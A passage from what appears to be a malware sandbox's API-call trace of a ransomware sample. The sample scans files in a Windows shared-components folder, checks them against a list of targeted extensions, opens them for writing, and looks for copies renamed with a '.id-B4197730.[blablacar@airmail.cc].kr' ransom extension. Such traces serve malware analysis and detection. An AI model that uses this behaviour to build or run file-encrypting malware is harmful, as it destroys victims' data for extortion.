dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0090.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0090.813] lstrlenW (lpString=".doc") returned 4 [0090.813] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.813] lstrlenW (lpString=".docx") returned 5 [0090.813] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0090.813] lstrlenW (lpString=".pdf") returned 4 [0090.813] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.813] lstrlenW (lpString=".xls") returned 4 [0090.813] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.813] lstrlenW (lpString=".xlsx") returned 5 [0090.813] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0090.813] lstrlenW (lpString=".ppt") returned 4 [0090.813] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0090.813] lstrlenW (lpString=".zip") returned 4 [0090.813] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.813] lstrlenW (lpString=".rar") returned 4 [0090.813] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.813] lstrlenW (lpString=".bz2") returned 4 [0090.813] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.813] lstrlenW (lpString=".7z") returned 3 [0090.813] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0090.814] lstrlenW (lpString=".dbf") returned 4 [0090.814] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0090.814] lstrlenW (lpString=".1cd") returned 4 [0090.814] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0090.814] lstrlenW (lpString=".jpg") returned 4 [0090.814] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0090.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0090.814] lstrlenW (lpString=".doc") returned 4 [0090.814] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0090.814] lstrlenW (lpString=".docx") returned 5 [0090.814] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0090.814] lstrlenW (lpString=".pdf") returned 4 [0090.814] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0090.814] lstrlenW (lpString=".xls") returned 4 [0090.814] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0090.814] lstrlenW (lpString=".xlsx") returned 5 [0090.814] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0090.814] lstrlenW (lpString=".ppt") returned 4 [0090.814] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0090.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0090.814] lstrlenW (lpString=".zip") returned 4 [0090.815] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0090.815] lstrlenW (lpString=".rar") returned 4 [0090.815] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0090.815] lstrlenW (lpString=".bz2") returned 4 [0090.815] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.815] lstrlenW (lpString=".7z") returned 3 [0090.815] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0090.815] lstrlenW (lpString=".dbf") returned 4 [0090.815] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0090.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0090.815] lstrlenW (lpString=".1cd") returned 4 [0090.815] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0090.815] lstrlenW (lpString=".jpg") returned 4 [0090.815] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0090.815] Sleep (dwMilliseconds=0x64) [0091.476] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.476] lstrlenW (lpString="base.xml") returned 8 [0091.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.830] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3333) returned 1 [0091.830] CloseHandle (hObject=0x328) returned 1 [0091.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0091.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0091.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0091.831] lstrlenW (lpString=".doc") returned 4 [0091.831] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.831] lstrlenW (lpString=".docx") returned 5 [0091.831] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0091.831] lstrlenW (lpString=".pdf") returned 4 [0091.831] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.831] lstrlenW (lpString=".xls") returned 4 [0091.831] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.831] lstrlenW (lpString=".xlsx") returned 5 [0091.831] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0091.831] lstrlenW (lpString=".ppt") returned 4 [0091.831] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0091.831] lstrlenW (lpString=".zip") returned 4 [0091.831] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.831] lstrlenW (lpString=".rar") returned 4 [0091.831] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.831] lstrlenW (lpString=".bz2") returned 4 [0091.831] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.831] lstrlenW (lpString=".7z") returned 3 [0091.831] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0091.831] lstrlenW (lpString=".dbf") returned 4 [0091.831] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0091.832] lstrlenW (lpString=".1cd") returned 4 [0091.832] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0091.832] lstrlenW (lpString=".jpg") returned 4 [0091.832] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0091.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0091.832] lstrlenW (lpString=".doc") returned 4 [0091.832] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.832] lstrlenW (lpString=".docx") returned 5 [0091.832] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0091.832] lstrlenW (lpString=".pdf") returned 4 [0091.832] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.832] lstrlenW (lpString=".xls") returned 4 [0091.832] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.832] lstrlenW (lpString=".xlsx") returned 5 [0091.832] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0091.832] lstrlenW (lpString=".ppt") returned 4 [0091.832] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0091.832] lstrlenW (lpString=".zip") returned 4 [0091.832] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.832] lstrlenW (lpString=".rar") returned 4 [0091.832] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.832] lstrlenW (lpString=".bz2") returned 4 [0091.832] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.833] lstrlenW (lpString=".7z") returned 3 [0091.833] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0091.833] lstrlenW (lpString=".dbf") returned 4 [0091.833] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0091.833] lstrlenW (lpString=".1cd") returned 4 [0091.833] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0091.833] lstrlenW (lpString=".jpg") returned 4 [0091.833] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.833] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.833] lstrlenW (lpString="base_altgr.xml") returned 14 [0091.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.870] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3524) returned 1 [0091.871] CloseHandle (hObject=0x328) returned 1 [0091.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0091.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0091.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0091.871] lstrlenW (lpString=".doc") returned 4 [0091.871] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.871] lstrlenW (lpString=".docx") returned 5 [0091.871] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0091.871] lstrlenW (lpString=".pdf") returned 4 [0091.871] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.871] lstrlenW (lpString=".xls") returned 4 [0091.871] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.871] lstrlenW (lpString=".xlsx") returned 5 [0091.871] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0091.871] lstrlenW (lpString=".ppt") returned 4 [0091.871] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0091.871] lstrlenW (lpString=".zip") returned 4 [0091.871] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.871] lstrlenW (lpString=".rar") returned 4 [0091.871] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.872] lstrlenW (lpString=".bz2") returned 4 [0091.872] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.872] lstrlenW (lpString=".7z") returned 3 [0091.872] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0091.872] lstrlenW (lpString=".dbf") returned 4 [0091.872] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0091.872] lstrlenW (lpString=".1cd") returned 4 [0091.872] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0091.872] lstrlenW (lpString=".jpg") returned 4 [0091.872] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0091.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0091.872] lstrlenW (lpString=".doc") returned 4 [0091.872] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.872] lstrlenW (lpString=".docx") returned 5 [0091.872] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0091.872] lstrlenW (lpString=".pdf") returned 4 [0091.872] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.872] lstrlenW (lpString=".xls") returned 4 [0091.872] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.872] lstrlenW (lpString=".xlsx") returned 5 [0091.872] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0091.872] lstrlenW (lpString=".ppt") returned 4 [0091.872] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0091.872] lstrlenW (lpString=".zip") returned 4 [0091.872] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.872] lstrlenW (lpString=".rar") returned 4 [0091.873] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.873] lstrlenW (lpString=".bz2") returned 4 [0091.873] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.873] lstrlenW (lpString=".7z") returned 3 [0091.873] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0091.873] lstrlenW (lpString=".dbf") returned 4 [0091.873] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0091.873] lstrlenW (lpString=".1cd") returned 4 [0091.873] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0091.873] lstrlenW (lpString=".jpg") returned 4 [0091.873] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.873] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.873] lstrlenW (lpString="osknumpad.xml") returned 13 [0091.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.874] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=219) returned 1 [0091.874] CloseHandle (hObject=0x328) returned 1 [0091.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0091.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0091.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0091.874] lstrlenW (lpString=".doc") returned 4 [0091.874] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.875] lstrlenW (lpString=".docx") returned 5 [0091.875] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0091.875] lstrlenW (lpString=".pdf") returned 4 [0091.875] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.875] lstrlenW (lpString=".xls") returned 4 [0091.875] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.875] lstrlenW (lpString=".xlsx") returned 5 [0091.875] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0091.875] lstrlenW (lpString=".ppt") returned 4 [0091.875] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0091.875] lstrlenW (lpString=".zip") returned 4 [0091.875] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.875] lstrlenW (lpString=".rar") returned 4 [0091.875] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.875] lstrlenW (lpString=".bz2") returned 4 [0091.875] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.875] lstrlenW (lpString=".7z") returned 3 [0091.875] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0091.875] lstrlenW (lpString=".dbf") returned 4 [0091.875] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0091.875] lstrlenW (lpString=".1cd") returned 4 [0091.875] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0091.875] lstrlenW (lpString=".jpg") returned 4 [0091.875] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0091.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0091.876] lstrlenW (lpString=".doc") returned 4 [0091.876] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.876] lstrlenW (lpString=".docx") returned 5 [0091.876] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0091.876] lstrlenW (lpString=".pdf") returned 4 [0091.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.876] lstrlenW (lpString=".xls") returned 4 [0091.876] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.876] lstrlenW (lpString=".xlsx") returned 5 [0091.876] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0091.876] lstrlenW (lpString=".ppt") returned 4 [0091.876] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0091.876] lstrlenW (lpString=".zip") returned 4 [0091.876] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.876] lstrlenW (lpString=".rar") returned 4 [0091.876] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.876] lstrlenW (lpString=".bz2") returned 4 [0091.876] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.876] lstrlenW (lpString=".7z") returned 3 [0091.876] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0091.876] lstrlenW (lpString=".dbf") returned 4 [0091.876] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0091.876] lstrlenW (lpString=".1cd") returned 4 [0091.876] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0091.876] lstrlenW (lpString=".jpg") returned 4 [0091.876] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.877] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.877] lstrlenW (lpString="oskpredbase.xml") returned 15 [0091.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.877] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=924) returned 1 [0091.877] CloseHandle (hObject=0x328) returned 1 [0091.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0091.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0091.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0091.877] lstrlenW (lpString=".doc") returned 4 [0091.877] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.877] lstrlenW (lpString=".docx") returned 5 [0091.877] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0091.877] lstrlenW (lpString=".pdf") returned 4 [0091.878] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.878] lstrlenW (lpString=".xls") returned 4 [0091.878] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.878] lstrlenW (lpString=".xlsx") returned 5 [0091.878] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0091.878] lstrlenW (lpString=".ppt") returned 4 [0091.878] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0091.878] lstrlenW (lpString=".zip") returned 4 [0091.878] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.878] lstrlenW (lpString=".rar") returned 4 [0091.878] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.878] lstrlenW (lpString=".bz2") returned 4 [0091.878] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.878] lstrlenW (lpString=".7z") returned 3 [0091.878] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0091.878] lstrlenW (lpString=".dbf") returned 4 [0091.878] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0091.878] lstrlenW (lpString=".1cd") returned 4 [0091.878] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.878] lstrlenW 